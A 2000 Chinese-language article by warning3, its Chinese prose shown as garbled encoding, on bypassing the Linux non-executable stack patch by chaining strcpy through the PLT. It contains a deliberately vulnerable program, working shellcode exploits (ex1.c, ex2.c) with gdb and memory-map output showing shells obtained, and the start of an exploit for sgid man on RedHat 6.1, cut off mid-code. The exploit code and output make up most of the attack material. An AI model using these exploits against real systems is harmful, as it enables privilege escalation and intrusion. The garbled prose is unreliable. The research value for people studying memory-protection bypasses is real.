ÈÆ¹ýLinux²»¿ÉÖ´ÐжÑÕ»±£»¤µÄ·½·¨Ç³Îö ·¢²¼ÈÕÆÚ: 2000-4-16 ÄÚÈÝ: -------------------------------------------------------------------------------- ÈÆ¹ýLinux²»¿ÉÖ´ÐжÑÕ»±£»¤µÄ·½·¨Ç³Îö by warning3 http://www.isbase.com 2000/4/13 Intel 80386±£»¤Ä£Ê½ÏÂÌṩÁ˷ֶλúÖÆºÍ·ÖÒ³»úÖÆ£¬Ð鵨ַ¿Õ¼ä¿ÉÒÔ´ï16k¸ö¶Î£¬Ã¿¸ö ¶Î×î´ó¿ÉÒÔ´ïµ½4G.»ùÓÚi386µÄLinuxϵͳ¾¡¿ÉÄܵıܿªÁ˷ֶλúÖÆ£¬¶øÖ÷ÒªÀûÓÃÁË·ÖÒ³¹Ü Àí»úÖÆ¡£Ã¿¸öÓû§½ø³Ì¿ÉÒÔ·ÃÎÊ4GBµÄÏßÐÔÐéÄâµØÖ·¿Õ¼ä¡£ÆäÖУ¬´Ó0-3GBµÄÐéÄâÄÚ´æ¿Õ¼ä ÊÇÓû§¿Õ¼ä£¬¶ø´Ó3G-4GµÄÐéÄâ¿Õ¼äÊÇÄÚºË̬¿Õ¼ä¡£¶ø½ø³ÌµÄ´úÂë¶ÎºÍÊý¾Ý¶ÎµÄÐéÄâ¿Õ¼äÊÇ µØÖ·ÊÇÖØµþµÄ,ÆðʼµØÖ·¶¼ÊÇ0x00000000£¬¶Î³¤¶ÈÒ²Ò»Ñù¡£Òò´Ë£¬¹¥»÷ÕßÀûÓûº³åÇøÒç³ö¸² ¸Çº¯ÊýµÄ·µ»ØµØÖ·ºó£¬½«·µ»ØµØÖ·Ö¸ÏòÊý¾Ý¶ÎÖеÄij¸öµØÖ·£¬²¢ÊÂÏÈÔڸõØÖ·ÖзÅÖÃһЩ ´úÂ루ͨ³£ÊÇÓÃÀ´Ö´ÐÐÒ»¸öshell³ÌÐò£¬µ±È»Ò²¿ÉÄÜÊÇÍê³ÉÆäËû¸ü¸´ÔÓµÄһЩ²Ù×÷£©£¬ÕâÑù £¬µ±º¯Êý·µ»ØÊ±£¬¾Í»áÌøµ½¸ÃµØÖ·È¥Ö´ÐдúÂ룬ÓÉÓÚÊý¾Ý¶ÎºÍ´úÂë¶ÎµÄµØÖ·ÊÇÖØµþµÄ£¬Òò ´Ë¾¡¹ÜÕⲿ·Ö´úÂëÊÇÔÚÊý¾Ý¶Î£¬ÈÔÈ»¿ÉÒÔ±»Ö´ÐС£Èç¹ûÒªÏë·ÀÖ¹»º³åÇøÒç³ö£¬Ò»¸ö¿ÉÄÜµÄ Ë¼Â·¾ÍÊDz»ÈÃÊý¾Ý¶Î¿ÉÖ´ÐУ¬ÓÈÆäÊǶÑÕ»¶Î(µ±È»»¹ÓÐÆäËûµÄ½â¾ö°ì·¨£¬Èç´Ó±àÒëÆ÷ÈëÊÖ, ÈçCrispin CowanµÈÈË¿ª·¢µÄStackGuard,¹ØÓÚËüµÄ½éÉÜ¿ÉÒԲο´ÂÌÃËÔ¿¯µÚ6ÆÚÖÐ<< »º³å ÇøÒç³ö£ºÊ®ÄêÀ´¹¥»÷ºÍ·ÀÎÀµÄÈõµã>>Ò»ÎÄ)¡£Solar DesignerÌṩµÄkernel security patchÖÐÊÇͨ¹ý¼õÉÙ´úÂë¶ÎµÄ³¤¶È£¬À´Çø·Ö¶ÑÕ»¶ÎºÍ´úÂë¶ÎµÄ£¬ÓÉÓÚ¶ÑÕ»¶ÎµÄÔö³¤·½ÏòÊÇ´Ó ¸ßµØÖ·µ½µÍµØÖ·µÄ£¬Òò´Ë¶ÑÕ»¶ÎºÍ´úÂë¶ÎµØÖ··¶Î§Í¨³£ÊDz»»áÖØµþµÄ¡£ÕâÑù¿ÉÒÔÓÐЧµÄ±Ü ÃâÔÚ¶ÑÕ»Öа²ÅÅÒç³ö´úÂ룬²¢·µ»Øµ½¶ÑÕ»ÖÐÖ´ÐеĹ¥»÷ÊֶΡ£ ÏÂÃæÊÇÒ»¸öµäÐ͵ÄÓлº³åÇøÒç³ö©¶´µÄ³ÌÐò¡£ËüûÓмì²éÓû§ÊäÈë±äÁ¿µÄ³¤¶È£¬¾ÍóȻµÃ ½«ÊäÈë±äÁ¿¿½±´µ½Ò»¸ö¹Ì¶¨´óСµÄ»º³åÇø£¨8¸ö×Ö½Ú£©ÖС£ /* ----> hole.c <---- * one vulnerable program for buffer overflowing . * by warning3 */ main(int argc, char **argv) { char buf[8]; if ( argc > 1 ) strcpy(buf,argv[1]); } [warning3@mytest non-exec]$ gcc -o hole hole.c -ggdb ÏÂÃæÊÇÒ»¸öͨ³£µÄ¹¥»÷³ÌÐò£¬ÓÃÀ´¶Ôhole.c½øÐвâÊÔ£º /* * ----> ex1.c <---- * normal exploit for test buffer overflow with executable stack. * by warning3 */ #include char shellcode[] = /* just aleph1's old shellcode (linux x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; long get_esp() { __asm__("movl %esp,%eax"); } main() { int i; long addr,offset=100,bufsize=512; char *buf; if((buf=(char *)malloc(bufsize))==NULL) { fprintf(stderr,"no enough memory!\n"); exit(-1); } addr=get_esp()-offset; printf("Using RET address: 0x%x\n",addr); memset(buf,0x90,bufsize); for(i=0;i<16;i+=4) memcpy(buf+i,&addr,4); memcpy(buf+bufsize-strlen(shellcode)-1,shellcode,strlen(shellcode)); *(buf+bufsize)='\0'; execl("./hole","hole",buf,0); } ÔÚûÓÐÖ´Ðв»¿ÉÖ´ÐжÑÕ»patchǰ£¬ÓÃÕâ¸ö³ÌÐò£¬ÎÒÃÇ¿ÉÒÔ¹¥»÷³É¹¦¡£ [warning3@mytest non-exec]$ gcc -o ex1 ex1.c [warning3@mytest non-exec]$ ./ex1 Using RET address: 0xbffffc74 bash$ µ«ÊÇÔÚÓÃÁ˲»¿ÉÖ´ÐжÑÕ»patchµÄÄÚºËÏ£¬ÔÙÓÃÕâ¸ö³ÌÐò£¬¹¥»÷¾Í±»×èÖ¹ÁË£º [root@mytest non-exec]# ./ex1 Using RET address: 0xbffffc74 Segmentation fault [root@mytest non-exec]# tail -1 /var/log/messages Apr 10 16:59:48 mytest kernel: Security: return onto stack running as UID 0, EUID 0, process hole:938 ÎÒÃÇ¿´µ½£¬kernel¼ì²âµ½ÁËÕâÖÖ¶ÑÕ»¹¥»÷£¬²¢³É¹¦µÄ×èÖ¹Á˹¥»÷µÄ½øÐС£ ÄÇôÎÒÃÇÓÐʲô°ì·¨À´ÈƹýÕâ¸öpatchÄØ£¿Ê×ÏÈÏëµ½µÄÊÇ£¬Ö»Òª·µ»ØµØÖ·²»ÔÚ¶ÑÕ»ÀÕâ¸ö patch¾ÍʧЧÁË¡£¼ÈȻͨ³£ÎÒÃǵÄÄ¿µÄÊÇÖ´ÐÐÒ»¸öshell (execl("/bin/sh","/bin/sh",0) £¬ÄÇôÎÒÃÇΪʲô²»ÀûÓÃÏֳɵÄlibc¿âÖп⺯Êýsystem(),execl()µÈÀ´×öÄØ£¿ÔÚSolar DesignerÔçÆÚдµÄpatch°æ±¾ÖÐ,ÕâÖÖ°ì·¨ÊÇ¿ÉÐеġ£ËûÉõÖÁдÁ˼¸¸ö²âÊÔ³ÌÐòÀ´ÑéÖ¤ÕâÖÖ ·½·¨¡£ÓÃsystem()ÊÇ×î¼òµ¥µÄ·½·¨£¬ÒòΪֻÐèÒªÌṩһ¸ö²ÎÊý"/bin/sh",ͨ¹ýÔÚlibc¿âÖÐ ËÑË÷£¬¿ÉÒԵõ½system()º¯ÊýµÄµØÖ·ÒÔ¼°shell×Ö·û´®µØÖ·£¬Òò´Ë¿ÉÒÔÓÃÕâÖÖ·µ»Ølibc¿âÖÐ µÄ°ì·¨À´ÈƹýÕâÖÖ¶ÑÕ»±£»¤¡£µ«ºóÀ´Solar Designer¸Ä½øÁËËûµÄpatch,½«libc¿âÖеĿ⺯ ÊýµÄµØÖ·Ó³Éäµ½´úÂë¶ÎµÄµÍ¶Ë£¬Ê¹Ã¿¸ö¿âº¯ÊýµÄµØÖ·Öж¼ÒÔ0x00¿ªÊ¼£¬ÒòΪͨ³£Òç³ö¶¼·¢ ÉúÔÚ×Ö·û´®¿½±´ÖУ¬ËùÒÔÕâÑù¹¥»÷Õ߾ͺÜÄÑͨ¹ý×Ö·û´®À´´«µÝÕâ¸ö¿âº¯ÊýµØÖ·ÒÔ¼°ºóÐø²Î Êý¡£ [warning3@mytest tmp]$ ps -auxw|grep hole|grep -v grep warning3 1065 2.0 12.3 7236 5820 pts/0 S 18:04 0:00 gdb hole warning3 1066 0.0 0.6 1064 292 pts/0 T 18:05 0:00 /home/warning3/non-exec/hole aa [warning3@mytest tmp]$ cd /proc/1066 [warning3@mytest 1066]$ cat maps 00110000-00122000 r-xp 00000000 03:01 48143 /lib/ld-2.1.2.so 00122000-00123000 rw-p 00012000 03:01 48143 /lib/ld-2.1.2.so 00128000-00213000 r-xp 00000000 03:01 48150 /lib/libc-2.1.2.so 00213000-00217000 rw-p 000ea000 03:01 48150 /lib/libc-2.1.2.so ^ | +---------ÎÒÃÇ¿ÉÒÔ¿´µ½£¬Õû¸ölibc¿â¶¼±»Ó³Éäµ½ÁËÄÚ´æ¿Õ¼äµÄµÍ¶Ë 00217000-0021b000 rw-p 00000000 00:00 0 08048000-08049000 r-xp 00000000 03:05 47207 /home/warning3/non-exec/hole 08049000-0804a000 rw-p 00000000 03:05 47207 /home/warning3/non-exec/hole bfffe000-c0000000 rwxp fffff000 00:00 0 Æäʵ£¬ÎÒÃǸù±¾²»±ØÖ±½ÓʹÓÃlibc¿âµÄµØÖ·£¬Rafal WojtczukÕÒµ½ÁËÒ»Öַdz£´ÏÃ÷µÄ·½·¨ À´ÈƹýÕâÖÖÏÞÖÆ: ÀûÓÃPLT£¨¹ý³ÌÁ´½Ó±í)¡£ µ±Ê¹Óö¯Ì¬Á´½Ó¿âµÄELF¸ñʽµÄÎļþʱ£¬³ÌÐòʹÓõĹ²Ïí¿âÖеĹý³Ìº¯ÊýÔÚ¹ý³ÌÁ´½Ó±íÖлá ÓÐÒ»¸ö±íÏÓÃÀ´½«¿ØÖÆ´«Ê䵽ȫ¾ÖÆ«ÒÆ±íÖеÄÏàÓ¦µØÖ·ÖÐÈ¥¡£Èç¹ûLD_BIND_NOW±äÁ¿Ã»ÓÐ ÉèÖã¨Ò²¾ÍÊǹ¤×÷ÔÚlazyģʽ£©£¬ÄÇôÔÚ¿ØÖƵ½´ï³ÌÐò֮ǰ£¬¶¯Ì¬Á´½ÓÆ÷²»»á½«ÕæÊµµÄ¿â º¯ÊýµÄµØÖ·´¢´æÔÚÈ«¾ÖÆ«ÒÆ±íÖУ¬¶øÊÇ´úÒÔÒ»¸ö"Ïà¶Ô"µØÖ·¡£ÎÒÃÇÀ´¿´Ò»ÏÂʵ¼ÊµÄÀý×Ó: [warning3@mytest non-exec]$ gdb hole GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disass main Dump of assembler code for function main: 0x80483c8 : push %ebp 0x80483c9 : mov %esp,%ebp 0x80483cb : sub $0x8,%esp 0x80483ce : cmpl $0x1,0x8(%ebp) 0x80483d2 : jle 0x80483e9 0x80483d4 : mov 0xc(%ebp),%eax 0x80483d7 : add $0x4,%eax 0x80483da : mov (%eax),%edx 0x80483dc : push %edx 0x80483dd : lea 0xfffffff8(%ebp),%eax 0x80483e0 : push %eax 0x80483e1 : call 0x8048308 0x80483e6 : add $0x8,%esp 0x80483e9 : leave 0x80483ea : ret End of assembler dump. (gdb) disass strcpy Dump of assembler code for function strcpy: 0x8048308 : jmp *0x80494a8 0x804830e : push $0x18 0x8048313 : jmp 0x80482c8 <_init+48> End of assembler dump. >>> ÕâÀï0x8048308ÊÇstrcpyÔÚPLT£¨¹ý³ÌÁ´½Ó±í£©ÖеĵØÖ·£¬µ±Ö´ÐÐstrcpyʱ£¬»áÊ×ÏÈÌø >>> µ½ÕâÀïÔËÐÐ,ÕâÀï´¢´æµÄÊÇÒ»ÌõjmpÓï¾ä£¬Ëü½«Ìøµ½0x80494a8Öдæ·ÅµÄµØÖ·È¥Ö´ÐС£ÄÇ >>> ôÎÒÃÇÀ´¿´¿´ÄÇÀï·Å×ÅЩʲô£º (gdb) x/1wx 0x80494a8 0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830e >>> 0x80494a8ÊÇÔÚGOT(È«¾ÖÆ«ÒÆ±í)ÖУ¬ÎÒÃÇ¿ÉÒÔ¿´µ½£¬ÕâÀï´æ·ÅµÄµØÖ·ÆäʵÊǸö"Ïà¶Ô" >>> µØÖ·: 0x0804830e¡£ >>> ÔÚ½ø³ÌµÚÒ»´Îµ÷ÓÃstrcpyʱ£¬¶¯Ì¬Á´½ÓÆ÷(dynamic linker)»á½«¿ØÖÆ×ªµ½Á´½Ó¿âµÄÕý >>> ȷλÖ㬲¢½«strcpy¿âº¯ÊýµÄ¾ø¶ÔµØÖ··Åµ½0x80494a8ÖÐÈ¥£¬ÄÇôÏÂÒ»´ÎÔÙµ÷ÓÃstrcpy >>> ʱ£¬jmp *0x80494a8¾Í»áÖ±½ÓÌøµ½libc¿âÖеÄÕýȷλÖÃÈ¥Ö´ÐС£ (gdb) b *0x80483e1 Breakpoint 1 at 0x80483e1: file hole.c, line 5. (gdb) r AAAAAAAABBBBBBBB Starting program: /home/warning3/non-exec/hole AAAAAAAABBBBBBBB Breakpoint 1, 0x80483e1 in main (argc=2, argv=0xbffffd34) at hole.c:5 5 strcpy(buf,argv[1]); (gdb) x/1wx 0x80494a8 0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830e >>> Õâʱºò*0x80494a8ÄÚÈÝ»¹Ã»Óиıä (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) x/1wx 0x80494a8 0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>: 0x00185420 >>> ÏÖÔÚ¿ÉÒÔ¿´µ½£¬Õâʱ*0x80494a8µÄÄÚÈÝÒѾ­ÓÃstrcpy¿âº¯ÊýµÄµØÖ·Ìæ»»ÁË£¬ÎÒÃÇ¿ÉÒÔ >>> ×¢Òâµ½£¬0x00185420µÄµØÖ·¸ßλÊÇ0£¬¶øÔÚûÓдòkernel patchµÄϵͳÖУ¬¸ßλͨ³£²» >>> ÊÇÁã¡£ (gdb) p strcpy $1 = {char *(char *, char *)} 0x185420 (gdb) disass strcpy Dump of assembler code for function strcpy: 0x185420 : push %ebp 0x185421 : mov %esp,%ebp 0x185423 : push %esi 0x185424 : mov 0x8(%ebp),%esi 0x185427 : mov 0xc(%ebp),%edx 0x18542a : mov %esi,%eax 0x18542c : sub %edx,%eax 0x18542e : lea 0xffffffff(%eax),%ecx 0x185431 : mov (%edx),%al 0x185433 : inc %edx 0x185434 : mov %al,(%ecx,%edx,1) 0x185437 : test %al,%al 0x185439 : jne 0x185431 0x18543b : mov %esi,%eax 0x18543d : mov 0xfffffffc(%ebp),%esi 0x185440 : leave 0x185441 : ret End of assembler dump. Òò´Ë£¬Èç¹ûÓÐÎÊÌâµÄ³ÌÐòʹÓÃÁËijЩ¿âº¯Êý±ÈÈçsystem(),execlp()µÈµÈ£¬ÄÇôÕâЩº¯Êý»á ÔÚ¹ý³ÌÁ´½Ó±íÖÐÓÐÏàÓ¦µÄ±íÏÒò´Ë£¬ÎÒÃDz»ÐèÒªÖ±½ÓÓÿ⺯ÊýµÄÕæÊµµØÖ·À´¸²¸Ç·µ»ØµØ Ö·£¬¶øÖ»ÒªÓÃËüÔÚPLTÖеĵØÖ·À´¸²¸Ç¾ÍÐÐÁË¡£ÕâЩ¿âº¯ÊýµÄ²ÎÊý(±ÈÈç×Ö·û´®"/bin/sh") ¿ÉÒÔÓúܶ෽·¨µÃµ½£¬¿ÉÒÔÔÚ³ÌÐòµÄÊý¾Ý¶ÎÖÐÕÒ£¨Èç¹û°üº¬µÄ»°£©£¬Ò²¿ÉÒÔÔÚ¹¥»÷³ÌÐòÖРͨ¹ý»·¾³±äÁ¿´«µÝ¹ýÈ¥£¨ÕâÖÖ·½·¨ÐèÒª¾«È·µÄÕÒµ½»·¾³±äÁ¿µÄµØÖ·£©¡£ µ«ÊÇ£¬ºÜ¶à³ÌÐò²¢Ã»ÓÐʹÓÃsystem(),execlp()µÈ¿âº¯Êý£¬µ«ÊÇÈ´´óÁ¿µÄʹÓÃÁËstrcpy() »òÕßsprintf()º¯Êý£¨ÖÁÉÙÒ»°ëÒÔÉϵĻº³åÇøÒç³öÎÊÌâ¶¼ÊÇÓÉÕâÁ½¸öº¯Êýµ¼ÖµÄ:-),½ÓÏ À´ÎÒÃÇÀ´¿´Ò»ÖÖÀûÓÃPLTÖеÄstrcpy()/sprintf()À´Èƹý²»¿ÉÖ´ÐжÑÕ»µÄ·½·¨¡£(ÕâÀïÖ»ÊÇ Ê¹ÓÃÁËstrcpy()µÄÀý×Ó£¬sprintf()Ò²ÊÇÒ»ÑùµÄ£© <Ò»> ÀûÓÃPLT½«shellcode¿½±´µ½Êý¾Ý¶ÎÖÐÖ´ÐÐ Solar DesignerµÄkernel patchûÓÐʹȫ²¿µÄÊý¾Ý¶Î¶¼²»¿ÉÖ´ÐУ¬BSSÇø£¨Î´³õʼ»¯Êý¾Ý Çø£©ºÍHEAPÇø£¨Òѳõʼ»¯Êý¾ÝÇø£©¶¼ÊÇ¿Éд¿ÉÖ´Ðеġ£Òò´Ë£¬Èç¹ûÎÒÃÇÄܹ»½«shellcode¿½ ±´µ½ÕâЩÊý¾Ý¶ÎÖУ¬È»ºóÏë°ì·¨½«¿ØÖÆ×ªÏòÕâÀ¾Í¿ÉÒÔÖ´ÐÐÕâЩ´úÂë¡£½«shellcode¿½±´ µ½Êý¾Ý¶ÎµÄ·½·¨¿ÉÒÔÊÇÀûÓÃÓ¦ÓóÌÐò±¾Éí£¬±ÈÈçÈç¹û³ÌÐò¿ÉÒÔ½«Óû§ÊäÈëµÄÊý¾Ý¿½±´µ½Ä³ ¸ömalloc()·ÖÅäµÄbufferÖУ¬ÄÇôÎÒÃǾͿÉÒÔÀûÓÃËü¡£¼´Ê¹²»ÄÜÀûÓÃÓ¦ÓóÌÐòÒ²²»Òª½ô£¬ ÎÒÃDz»ÐèÒªËüÒ²¿ÉÒÔ¿½±´ÎÒÃǵÄshellcode.:-) ÎÒÃǵÄ×ö·¨ÊÇÔÚ¶ÑÕ»Öй¹ÔìÒ»¸ö¼ÙµÄstrcpyº¯Êýµ÷Óã¬ÀýÈç: ¸²¸Çǰ£º| buffer | ebp | eip | arg[3] | arg[2] | arg[1] | ¸²¸Çºó£º| YYYY | XXXX | STRCPY | DEST | DEST | SRC | ¶ÑÕ»µÍ¶Ë------------------------------------------------------>¶ÑÕ»¸ß¶Ë ÕâÀ YYYY : ÊÇÌî³äÓõÄÊý¾Ý XXXX : ÊÇÌî³äÓõÄÊý¾Ý STRCPY : strcpy()ÔÚPLTÖеÄÈë¿ÚµØÖ· DEST : ÎÒÃÇÒª½«shellcode¿½±´µ½µÄij¸öÊý¾Ý¶ÎµØÖ· SRC : ÎÒÃǵÄshellcodeËùÔÚµØÖ·£¬ÕâÀïÎÒÃǻὫshellcode²ØÔÚ»·¾³±äÁ¿Öд«¹ýÈ¥ £¨µ±È»£¬ËùÓеÄÕâЩµØÖ·¶¼²»Äܰüº¬0×Ö½Ú,·ñÔò¿ÉÄܲ»ÄÜÍê³ÉÈ«²¿Êý¾ÝµÄ¿½±´£¬ÕâÒ²¿ÉÒÔͨ¹ý ÔÚ³ÌÐòÖÐÔö¼Ó¼ì²éÓï¾äÀ´ÊµÏÖ£¬ÒÔϵIJâÊÔ³ÌÐòÖж¼Ê¡ÂÔÁËÕâÒ»²½ ) µ±º¯ÊýÒª·µ»ØÇ°£¬Ëü»áÏȽ«¼Ä´æÆ÷ebpÖеÄÄÚÈݻָ´µ½espÖУ¬È»ºóµ¯³ö±£´æµÄebpµÄÖµ£¬Õâ ʱºò±£´æµÄebpµÄÖµÆäʵÒѾ­±»ÎÒÃÇÓÃ"XXXX"¸²¸ÇÁË£¬ÏÖÔÚ¶ÑÕ»Ö¸ÕëespÖ¸Ïò"STRCPY"´¦£¬ retÖ¸Áîʹ³ÌÐò¿ªÊ¼Ìøµ½"STRCPY"µØÖ·´¦Ö´ÐÐ(Õâʱºò¶ÑÕ»Ö¸ÕëÖ¸ÏòµÚÒ»¸ö"DEST"´¦)£¬Æäʵ ¾ÍÊÇ¿ªÊ¼Ö´ÐÐPLTÖеÄjmp *0x80494a8Óï¾ä£¬È»ºó³ÌÐòÌøµ½ÕæÕýµÄstrcpy()º¯Êý´¦È¥Ö´ ÐС£ (gdb) disass strcpy Dump of assembler code for function strcpy: 0x185420 : push %ebp 0x185421 : mov %esp,%ebp 0x185423 : push %esi 0x185424 : mov 0x8(%ebp),%esi 0x185427 : mov 0xc(%ebp),%edx ...... ´ÓÉÏÃæµÄ»ã±à³ÌÐòÎÒÃÇ¿ÉÒÔÖªµÀ£¬strcpy()Ê×ÏȽ«ebpÖеÄÄÚÈÝ("XXXX")ѹջ£¬È»ºó½«µ±Ç° µÄ¶ÑÕ»Ö¸ÕëÄÚÈÝ£¨ÏÖÔÚÓÖÖ¸ÏòÁËÔ­À´µÄ"STRCPY"´¦)¿½±´µ½ebpÖÐ,È»ºó½«0x8(%ebp)×÷ΪĿ µÄµØÖ·£¬0xc(%ebp)µ±×÷Ô´µØÖ·£¬¸ÕºÃ¾ÍÊÇÎÒÃǵÄDESCºÍSRC,Òò´Ëstrcpy()½«»á°ÑSRC´¦µÄ shellcode¿½±´µ½DESC(Êý¾Ý¶Î)ÖÐÈ¥.µ½ÕâÀïÎÒÃǵÄÈÎÎñÒѾ­Íê³ÉÁËÒ»°ëÁË£¬shellcodeÒѾ­ ÔÚÊý¾Ý¶ÎÁË£¬ÏÂÒ»²½¾ÍÊÇÒªÌøµ½¸ÃµØÖ·È¥Ö´ÐÐÁË¡£¶øÏÖÔÚstrcpy()»áÒÔΪ"XXXX"ÊDZ£´æµÄ ebp,"DEST"ÊDZ£´æµÄeip£¬Òò´ËËü»á·µ»Øµ½¸ÃµØÖ·È¥Ö´ÐС£ ÏÂÃæµÄʾÒâͼ½âÊÍÁ˳ÌÐòµÄÖ´ÐÐÁ÷³Ì£º ¸²¸Çǰ ¸²¸Çºó£¬·µ»ØÇ° ·µ»Øºó Ö´ÐÐstrcpy()ʱ +--------+ +--------+ +--------+ +--------+ | ... | | ... | | ... | | ... | +--------+ +--------+ +--------+ +--------+ | buffer | | YYYY | | YYYY | | YYYY | +--------+ +--------+ +--------+ +--------+ | ebp | | XXXX | | XXXX | | XXXX | +--------+ esp+--------+ +--------+ esp+--------+ | eip | ---> | STRCPY | ---> | STRCPY | ---> | XXXX | saved_ebp +--------+ +--------+ esp+--------+ +--------+ | arg3 | | DEST | | DEST | | DEST | saved_eip +--------+ +--------+ +--------+ +--------+ | arg2 | | DEST | | DEST | | DEST | +--------+ +--------+ +--------+ +--------+ | arg1 | | SRC | | SRC | | SRC | +--------+ +--------+ +--------+ +--------+ | ... | | ... | | ... | | ... | +--------+ +--------+ +--------+ +--------+ %ebp=XXXX ÏÂÃæÎÒÃÇÀ´Ð´Ò»¸ö²âÊÔ³ÌÐò£¬ÑéÖ¤Ò»ÏÂÎÒÃÇËù˵µÄ¹¥»÷¹ý³Ì¡£ Ê×ÏÈÒªµÃµ½¼¸¸öµØÖ·µÄÖµ:STRCPY,DEST,SRC [warning3@mytest non-exec]$ gdb hole < Ê¡ÂÔ... > (gdb) p strcpy $1 = {} 0x8048308 ËùÒÔSTRCPY=0x8048308,ÎÒÃÇÔÚÁíÒ»¸ö´°¿ÚÏ¿´Ò»ÏÂholeµÄÄÚ´æ·Ö²¼£¬1066ÊÇholeÔËÐеÄpid [warning3@mytest tmp]$ cd /proc/1066 [warning3@mytest 1066]$ cat maps 00110000-00122000 r-xp 00000000 03:01 48143 /lib/ld-2.1.2.so 00122000-00123000 rw-p 00012000 03:01 48143 /lib/ld-2.1.2.so 00128000-00213000 r-xp 00000000 03:01 48150 /lib/libc-2.1.2.so 00213000-00217000 rw-p 000ea000 03:01 48150 /lib/libc-2.1.2.so 00217000-0021b000 rw-p 00000000 00:00 0 08048000-08049000 r-xp 00000000 03:05 47207 /home/warning3/non-exec/hole 08049000-0804a000 rw-p 00000000 03:05 47207 /home/warning3/non-exec/hole ^ | +---------- ÕâÀïÊÇÎÒÃÇ¿ÉÒÔдÈëµÄÊý¾Ý¶Î bfffe000-c0000000 rwxp fffff000 00:00 0 ÎÒÃÇ¿ÉÒÔÉèÖÃDESTµÄµØÖ·Îª0x8049010(×¢Òâ:ËäÈ»ÕâÒ»¶ÎµÄÊôÐÔÏÔʾ²»¿ÉÖ´ÐУ¬Êµ¼ÊÉÏÈÔÈ» ÊÇ¿ÉÒÔÖ´ÐеÄ,ÕâÊÇÒòΪx86µÄ·ÖÒ³»úÖÆ²»ÔÊÐí¶ÔÿһҳÉèÖÃÖ´ÐÐÊôÐÔ£¬¶øÖ»ÄÜÉèÖöÁ/дÊô ÐÔ).ÎÒÃÇ¿ÉÒÔ½«shellcodeͨ¹ý»·¾³±äÁ¿´«µÝ¸øhole³ÌÐò£¬SRCµÄµØÖ·¿ÉÒÔͨ¹ý²Â²â»·¾³±ä Á¿µÄµØÖ·À´ÕÒµ½£¬Í¨³£Î»ÓÚ¶ÑÕ»µÄ¸ß(µØÖ·)¶Ë,²¢²»ÄÑÕÒµ½¡£ /* ----> ex2.c <---- * This is one demo exploit for non-exec stack . * Tested in RedHat 6.1 + kernel 2.2.14 + SD's 2.2.14-ow2.patch * by warning3 */ #include #define STRCPY 0x8048308 /* strcpy's PLT entry */ #define DEST 0x8049010 /* destination data segment address (rwx) */ #define BUFSIZE 8 /* the size of overflowed buffer */ #define EGGSIZE 1024 /* the egg buffer size */ char shellcode[] = /* standard shellcode for Linux(x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; long get_esp(void) { __asm__("movl %esp,%eax"); } main( int argc, char **argv ) { char *pattern, eggbuf[EGGSIZE]; long srcaddr, i, offset=1524, *addrptr, align, patternsize, bufsize=BUFSIZE ; if( argc > 1 ) bufsize = atoi(argv[1]); if( argc > 2 ) offset = atoi(argv[2]); srcaddr = get_esp() + offset; printf("Usages: %s \n\n", argv[0] ); printf("Using SRC address = 0x%x ,Offset = %d\n", srcaddr, offset ); patternsize = bufsize + 4 + 16 + 1; if((pattern = (char *)malloc(patternsize)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } memset(pattern, 'A', patternsize ); /* fill pattern buffer with garbage */ align = bufsize + 4; addrptr = (long *) (pattern + align); *addrptr++ = STRCPY; /* replace saved_eip */ *addrptr++ = DEST; *addrptr++ = DEST; *addrptr++ = srcaddr; /* construct shellcode buffer */ memset(eggbuf, 0x90 , EGGSIZE); memcpy(eggbuf + EGGSIZE - strlen(shellcode) -1, shellcode, strlen(shellcode)); setenv("EGG", eggbuf , 1); execl("./hole", "./hole", pattern, NULL); } ÑéÖ¤Ò»ÏÂ: [warning3@mytest non-exec]$ gcc -o ex2 ex2.c [warning3@mytest non-exec]$ ./ex2 Usages: ./ex2 Using SRC address = 0xbffffed0 ,Offset = 1524 bash# ³É¹¦£¡ ÏÂÃæÎÒÃÇÔÙÀ´¿´Ò»¸öʵ¼ÊµÄÀý×Ó£¬ÔÚһ̨°²×°ÁËSolar DesignerµÄ²»¿ÉÖ´ÐжÑÕ»µÄ²¹¶¡µÄ RedHat 6.1ÉÏ(kernel 2.2.14),ËüµÄman³ÌÐò±»ÉèÖÃÁËsgid man룬"man"´æÔÚÒ»¸ö»º³åÇø Òç³öÎÊÌ⣬µ±"MANPAGER"±äÁ¿³¬³¤Ê±¾Í»áÒç³ö¡£ [warning3@mytest non-exec]$ gdb man <....> (gdb) p strcpy $1 = {} 0x80490e4 <--- µÃµ½ÎÒÃǵÄSTRCPY [warning3@mytest non-exec]$ man ls LS(1) FSF LS(1) NAME ls - list directory contents <....> [1]+ Stopped man ls [warning3@mytest non-exec]$ ps -auxw|grep "man ls" warning3 641 0.0 1.3 1308 632 pts/0 T 09:37 0:00 man ls [warning3@mytest non-exec]$ cat /proc/641/maps <....> 00217000-0021b000 rw-p 00000000 00:00 0 08048000-08050000 r-xp 00000000 03:01 52578 /usr/bin/man 08050000-08051000 rw-p 00007000 03:01 52578 /usr/bin/man <--- µÃµ½ÎÒÃÇµÄ DEST <...> ÏÖÔÚ¿ÉÒÔÍê³ÉÎÒÃǵIJâÊÔ³ÌÐòÁË£º /* ----> ex_man.c <---- * This is one exploit for sgid man with Linux non-exec stack patch. * It will give you sgid man privilege. * Tested in RedHat 6.1 + kernel 2.2.14 + SD's 2.2.14-ow2.patch * by warning3 */ #include #define STRCPY 0x80490e4 /* strcpy's PLT entry */ #define DEST 0x8050110 /* destination data segment address (rwx) */ #define BUFSIZE 4054 /* the size of overflowed buffer */ #define EGGSIZE 1024 /* the egg buffer size 